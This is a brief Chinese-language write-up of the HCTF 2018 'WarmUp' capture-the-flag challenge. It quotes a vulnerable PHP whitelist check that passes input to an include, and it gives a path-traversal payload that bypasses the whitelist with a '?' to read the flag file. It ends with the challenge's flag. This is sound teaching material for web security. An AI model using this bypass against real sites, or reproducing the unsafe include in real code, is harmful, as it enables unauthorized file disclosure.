>lhzctf

[HCTF 2018]WarmUp

1.打开靶机

回显一个emoji:

alt text

2.收集信息

先查看前端源码:

alt text

提示里有一个source.php,尝试访问,回显源码:

alt text

3.分析php源码

显示有hint.php,访问后回显:

alt text

暂时不知道怎么操作,先再看源码:

$whitelist = ["source" => "source.php", "hint" => "hint.php"]; //门卫里有名册,允许两个名字:source.php和hint.php
if (in_array($page, $whitelist)) return true; //如果在名册里,放行
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); //mb_strpos=问号在第几个字符,mb_substr=从开头取这么多
include $_REQUEST['file']; //读指定文件,在这里输出

那么我们在地址后加问号,后面的东西就会被门卫省略,我们就可以绕过!

4.构造payload

尝试:

?file=source.php?/../ffffllllaaaagggg

空白,继续尝试,直到:

?file=source.php?/../../../../ffffllllaaaagggg

回显:

alt text

得到flag:

CTF2{64d552d7-9ec9-4137-b5c4-fe6d53d84330}